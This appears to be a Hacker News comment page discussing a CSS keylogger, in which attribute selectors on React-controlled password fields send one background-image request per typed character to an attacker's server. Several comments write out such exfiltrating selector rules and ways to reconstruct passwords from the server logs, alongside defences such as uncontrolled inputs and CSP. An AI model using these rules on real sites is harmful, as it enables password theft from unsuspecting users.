Hacker Newsnew | past | comments | ask | show | jobs | submit | rickdmer's commentslogin


Thankyou


The input has to have the "value" set in the HTML. https://jsfiddle.net/tdwsw6zo/4/


Well, yes of course but that's simply an attribute selector parsing the raw HTML.

This can be done with any attribute:

<input type="password" hackernews="isthebestwebsite">

input[type="password"][hackernews$="isthebestwebsite"] { background-image: url("http://placehold.it/15x15?text=h4x0r"); }

That's not a keylogger at all, the data is already printed in the HTML source.


the point is that react updates the attribute every time you type a character into the password field. So if you have the rules for background-image: url("http://your.server/a"); for password fields that END with 'a', and a rule background-image: url("http://your.server/b"); for password fields that END with 'b', if you type "ab", after the a, the value attribute is updated and the css will request the background for passwords that end with 'a', then when you type b, the attribute is updated again and the css will request the password for 'b's. so you check your server logs and you will have 2 requests, one for a and one for b. you now know that they typed "ab".

Most people in the comments don't seem to understand how this works. i.e. you don't need to have rules for all possible passwords, just one for each character.


Yup, you'd have to have all permutations of any length password in the css file AND it would have to be pre-filled using the value attribute. The original post on this talks about it in more detail: https://www.mike-gualtieri.com/posts/stealing-data-with-css-...


Hmm, that's pretty bad. CSS probably shouldn't be able to read password inputs.

Edit: This doesn't seem to work for me in Chrome 63.0.3239.132

Edit 2: OK, so it appears that this will only work on a password input that updates its "value" attribute with the typed in value. This doesn't happen unless there is JavaScript that updates the value attr with the input.value


If you use React, updating the value on every change is a very common pattern.


This is speculative as I haven't tested out this vulnerability or attempted to avoid it (yet), but I imagine this means it would be a good idea to make password fields "uncontrolled"[1] if you're using react.

1: https://reactjs.org/docs/uncontrolled-components.html


That seems reasonable.

The apps I've worked on weren't full SPAs, so I just used plain HTML for the login form.


One option is to make the input component uncontrolled by removing the value={this.state.password} prop, but keeping the onChange handler to maintain the password in the state for validation & strength checking. Typically, the only time you need to programmatically change a password field is when clearing it, which can be done by setting the DOM attribute directly.


Or just use correctly defined CSP


I hadn't realized a CSP could protect against this sort of thing. Thanks for the tip!


Hopefully most are updating the property and not the attribute.


For those that are confused, updating the property would mean:

  this.input.value = 'password'; 
This would be fine. However updating the attribute (the way React recommends it with controlled components) would be something like:

  <input type="text" value={this.state.value} onChange={this.handleChange} />
This would be vulnerable to the the CSS keylogger.


That being said, you might be thinking about this incorrectly if you're doing this.

You can use a form and grab the values on submission.

    <form onSubmit={this.handleSubmission}>
      <input type="password" name="password" />
    </form>

    this.handleSubmission = event => {
      // access to event.target.password.value
    }


You still lose things like validation on blur and displaying real-time password strength.


It might be a fair workaround, but it sucks to regress to storing truth in the DOM.


I believe using `defaultValue` instead of `value` would be an appropriate remediation.


Do you mind expanding on this a little? Or linking to a documentation or something


I think he/she essentially means using an uncontrolled input instead of a controlled one.

https://reactjs.org/docs/uncontrolled-components.html#defaul...


Thanks!


It updates the attribute, you can see this pretty easily by going to the Instagram website. If you inspect the password field in the browser, when you type in a value you can see it reflected on the `value` attribute of the input element.


But that requires extra work, compared to simple JSX-based React code, doesn't it?


Maybe they will have to rethink it. It seemed odd when they introduced it and at least in the early React version kept making problems e.g. when entering German Umlaute on US keyboards. Not working much on Frontend anymore but when I do inputs, I only use uncontrolled ones - it's much less hassle and more flexible anyways.


So with frameworks like React/Vue, every change to a field generates a request? Or are those handled locally in the shadow dom?


The pattern is to handle form fields locally in the browser as part of the application state.

Basically, the value of the input is tied to a "state engine" that acts as a single source of truth and when the user types in the input you'll update the state so that the rest of the application can know what's going on in the form without accessing the DOM.

The state engine is a fancy word for a variable that has a special setter function so that the changes can be reflected globally.


Can’t speak about Vue, but that’s pretty much the recommended pattern for most input fields in React. But, as others have commented, it might be prudent to leave password inputs completely uncontrolled, i.e. let the browser do its normal thing for updating the DOM based on user input.


Unfortunately, that’s very inconvenient with React because you’ll have to start thinking about dom elements lifecycle separately of the react app lifecycle.


Definitely. It’s going to be a struggle to implement things like password confirmation validation or a real-time password strength indicator.


Technically yes. You can see it in the network panel.


Not at all. Sending off requests is a different thing entirely to controlled inputs, and you don't need a controlled input to do a request every keypress.


Damn you're right. Thanks!


I think it would work against password managers like LastPass which fill in passwords using JS.


It would only give you the last character of the password though. You can use CSS selectors to check the start [value^=a] and anything in the middle [value*=a] as well though which can be revealing I imagine.


Well there's the start [value^=a], the end [value$=a] and the "anywhere" [value*=a] selectors.

In something like 13000 selectors you could easily get the first 2, last 2, and any characters in the middle that are in the password making targeted attacks significantly easier. (This is based on very-very rough napkin math assuming an ~80 character dictionary for upper/lower, numbers, and "symbols" since I didn't want to count)

That's a lot, but it's well within the realm of possibility (it looks like that would end up as about a 1mb css file)


Not if they do it correctly (by setting .value on the password field)!


Is there even a use case where CSS needs to read any field's value? (Checkboxes and radio buttons have :checked.)


It's about the selector, so the question should be rephrased to "Is there even a use case where CSS needs to select a node based on any field's value?". I think the answer is yes, but it can be limited. But it can become annoying to have a blacklist of attributes that aren't allowed to be selected on.


It's pretty common to check values of a field and set a color to the border etc. based on that, which I think is even very good ui. Maybe browsers should force restricted selectors only on some fields, which only allow limited matching based on predefined character classes or el1 === el2, since it sounds like this could be used for a cross site css attack (perhaps there already were some and I am ignorant).


Something like conditional formatting maybe? Eg. make negative values red?

Make an input field red when it contains an invalid character?


Sounds like the pattern attribute and :invalid selector on <input> will do that.

https://developer.mozilla.org/en-US/docs/Web/HTML/Element/in...


What if it's valid? There's a reason we have the phrases "in the red" and "in the black."

Another example where reading the input might be nice:

  input[type="cc-number"][value^="4"]+.cc-system-icon {
    background-image: url('visa.png');
  }input[type="cc-number"][value^="5"]+.cc-system-icon {
    background-image: url('master-card.png');
  }


I was also thinking along those lines, a way to LINT/validate form fields when JS is disabled, but seems like a very obscure and inefficient (use html5 validation + js, validate server side on submit)


It might be useful to show/hide certain parts of the form depending on a value selected in dropdown (SELECT) control. As for text input controls - perhaps to highlight the content when value matches expected (but not required) pattern.


it's an attribute matcher, the fact that value is an attribute (or prop or whatever, I don't care) is just sugar


Author here. I believe the injection of the css in the chrome extension will only work in newer versions of chrome. However the "attack" would still work for all browsers. :)


This is incorrect.

The [value=foo] selector does not work for the actual value of the field, only the `value` attribute (used to set the initial value).

This means that both:

- typing the password

- setting the password via element.value=foo

will not work

The only thing that will hit this is setting the attribute via element.setAttribute("value", "foo"), and this will not update the password. It seems like React does this for whatever reason, though.


Nice job. Css had similar attacks maybe a decade ago, with link:visited (referer snooping) and image with src to a logged in site... but I like the selector trick.

Extensions are a huge attack vector, but as long as one can't turn them off on a per domain basis, I'm convinced that the browsers just don't give a damn.


So wouldn't that mean, then, that your CSS matchers would have to contain absolutely every permutation of text possible?


The CSS attribute selector matches against the character at the end of the word [0], so you just need a-z, 0-9 etc and not their permutations. From the end of the readme there's this example:

    input[type="password"][value$="a"] {
      background-image: url("http://localhost:3000/a");
    }
[0] https://developer.mozilla.org/en-US/docs/Web/CSS/Attribute_s...


No, since it matches only the last character, you watch the requests it makes IN order to get the entire password. As you type "qwerty", it will request "Q", "W", "E", "R", "T", and finally "Y"

no permutations needed


Assuming the server receives the requests in the same order as the requests were sent, which on mobile networks isn't anywhere near so certain.


Not an efficient keylogger, however, if you know the pressed keys, you can just generate permutations ordered using probabilities, and that would be a lot faster than brute force.

The real deal here is, it depends on some js code updating the dom for each key press, which is BAAAD. Not an useless keylogger, because it reminds a vulnerability product of choosing a bad decision.


Interestingly the password "BAAAD" would generate 3 requests to the logging server, since it wouldn't request the background image for the letter "A" more than one time. Or shouldn't, anyway.


That depends on cache headers sent from the server, which the attacker controls


> it depends on some js code updating the dom for each key press

Like React with JSX?


It may be easier to XSS CSS than JS.


Even if the attacker got them out of order, it would let them be able to brute force guess in a small number of attempts.


For example, there are about 41,000 possible passwords for a given set of 8 characters, out of around 96^8 possible 8 character passwords (in the ASCII character set).


And if any of those are words or almost words, you'd guess that first and probably have it.


Where does 41000 come from?


It's 8! (8 factorial) which is 40320.

This is 127,286,426,869 (~128bn) times smaller than 92^8.

Edit: Note that if you have a repeated character in your 8 charcter password then the number of permutations of the set of 8 (7 distinct) characters is further halved to 20,160.


And just by doubling the amount of selectors you could always check for a repeated character! (AKA [value$=aa], [value$=bb], etc...)


Well it would also not come in the correct order if someone types their password wrong, deletes letters and re-types them, etc. But I assume the idea would be that you'd have a much easier time figuring out the password if you had all the keys they pressed.


You can just add the two (or more) letter permutations to the CSS to help to identify the previous characters. ( like [value$="aa"] )


Or the user corrects a typo by moving the cursor or using backspace. However I think the idea is that the keylogger will work on some or most users.


It'd be simple enough to add an 'order' identifier (request timestamp, etc) to the requests.

Edit: nm. My mistake, not as easy as that using only css!


Simple enough, in CSS?


My mistake, I guess I didn't really think that through...


Maybe with counter-reset?


Why would you even need an order identifier? All you need to do is check the request logs for your server everything should be already in order.


I was replying to the comment above which pointed out correctly that the order in which the server receives the requests may differ from the order in which they were sent.


One more reason to hate javascript as used and abused by modern "webdevs" and block it all unless absolutely necessary. I try very hard to keep my pages pure css and html.


Yeah, I have JavaScript disabled by default with uMatrix and it's a pretty annoying trend that almost every second page — even a static one page site — needs JavaScript to display anything


I try very hard to keep my pages pure css and html.

That's cool, but you obviously have different requirements for the pages you build, and likely aren't in the SPA space, so your better-than-thou outlook doesn't apply.


...What?


just the first stage of 'I hate JS because it's cool to hate JS'

second stage is 'OMFG this website doesn't work for me. How could developer not think about my entitled ass and not spend 2x time to make it work without JS?'


No, that's not it at all.

It's the only reasonable response to the user-hostile dumpster fire that is the current web. Javascript has made the web better in a small handful of ways, and made the web significantly worse in every other way.


I created a Chrome extension that searchs your bookmarks for sites that use Cloudflare: https://chrome.google.com/webstore/detail/cloudbleed-bookmar...


Guidelines | FAQ | Lists | API | Security | Legal | Apply to YC | Contact

Search: